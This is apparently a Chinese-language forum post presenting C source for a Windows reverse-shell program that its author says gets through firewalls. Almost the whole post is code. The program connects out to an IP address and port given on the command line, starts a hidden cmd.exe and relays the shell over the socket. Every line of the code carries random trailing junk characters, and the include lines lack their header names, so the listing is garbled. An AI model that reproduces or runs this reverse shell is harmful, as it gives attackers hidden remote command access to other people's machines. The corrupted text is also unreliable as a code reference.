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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 #k%3Ag  
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/* ============================== :j/PtNT@  
Rebound port in Windows NT C7=Q!UK`\  
By wind,2006/7 q?C)5(  
===============================*/ K7&A^$`  
#include xN t  
#include 1m-"v:fT5D  
lu @#)  
#pragma comment(lib,"wsock32.lib") (]BZ8GOx  
*"E?n>b  
void OutputShell(); 9E{Bn#  
SOCKET sClient; eK"B.q7  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Qi^MfHW  
Vy = fm  
void main(int argc,char **argv) hA`>SkO  
{ kP%Hg/f/Ot  
WSADATA stWsaData; DI=Nqa)r  
int nRet; aE^tc'h~  
SOCKADDR_IN stSaiClient,stSaiServer; ?v2OoNQ   
g j`"|  
if(argc != 3) dG{`Jk  
{ fM]McZ9)D  
printf("Useage:\n\rRebound DestIP DestPort\n"); ki6`d?  
return; xh> /bU!>  
} H[%F o  
WG 9f>kE  
WSAStartup(MAKEWORD(2,2),&stWsaData); to Ei4u)m  
&/ lJ7=Nq  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]?F05!$*  
qx5X2@-;:  
stSaiClient.sin_family = AF_INET; pj,.RcH@o  
stSaiClient.sin_port = htons(0); _C?<re3*  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); |7Z,z0 ?V  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) `4s5yNUi=  
{ 5Ah-aDBj  
printf("Bind Socket Failed!\n"); N$ZThZqqv  
return; 5=Bj?xb$'  
} w <]7:/  
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stSaiServer.sin_family = AF_INET; 6wzF6] @O  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); X|L8s$>  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ok X\z[X  
x&R&\}@G m  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 1W;3pN  
{ 3m4?l ~  
printf("Connect Error!"); HSx~Fs^J  
return; c1/G yq  
} kP%W:4l0  
OutputShell(); +7<{yP6wU  
} _u}v(!PI  
(7 Mn%Jp  
void OutputShell() t Zj6=#  
{ :5?ti  
char szBuff[1024]; tBG :ECUL  
SECURITY_ATTRIBUTES stSecurityAttributes; TMG:fg&E~  
OSVERSIONINFO stOsversionInfo; C5Q|3d  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; #I@]8U#,":  
STARTUPINFO stStartupInfo; L&ws[8-  
char *szShell; X.s? =6}g  
PROCESS_INFORMATION stProcessInformation; {549&]/o  
unsigned long lBytesRead; "}K/ b  
h_]3L/  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 6K P!o  
`. %;|"xR  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); d8M"vd  
stSecurityAttributes.lpSecurityDescriptor = 0; FStE/2?  
stSecurityAttributes.bInheritHandle = TRUE; ?OKm~ Ek  
7V0:^Jov  
MV$>|^'em  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); w;QDQ fx0  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); $E|W|4N  
!N,Z3p>Q  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 5 LX3.  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wRPBJ-C)  
stStartupInfo.wShowWindow = SW_HIDE; UF<|1;'  
stStartupInfo.hStdInput = hReadPipe; /db?ltb  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ~1Tz[\H#R  
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GetVersionEx(&stOsversionInfo); ~N[hY1}X[  
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switch(stOsversionInfo.dwPlatformId) -7ct+3"J  
{ joDfvY*[  
case 1: K@n.$g  
szShell = "command.com"; NOx&`OU+  
break; /BT;Q)( &  
default: g8XGZW!  
szShell = "cmd.exe"; C4Z~9fzT  
break; SX^fh.  
} ^&&dO*0{  
g) v"nNS  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); O%o#CBf0  
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send(sClient,szMsg,77,0); LEhku4U.  
while(1) PR|Trnd&D  
{ yN3Tk}{V  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); lha )'   
if(lBytesRead)  8k J k5  
{ '0 ( Bb  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); _$ixE~w-!  
send(sClient,szBuff,lBytesRead,0); *, *"G?  
} FZ=6x}QZ  
else g#[9O'H  
{ `8FC&%X_  
lBytesRead=recv(sClient,szBuff,1024,0); />ob*sk/Y  
if(lBytesRead<=0) break; .?I!/;=[  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); iZMsN*9[  
} 9^a>U(,  
} k|A!5A2  
20?i4h_  
return; =_":Z!_  
}
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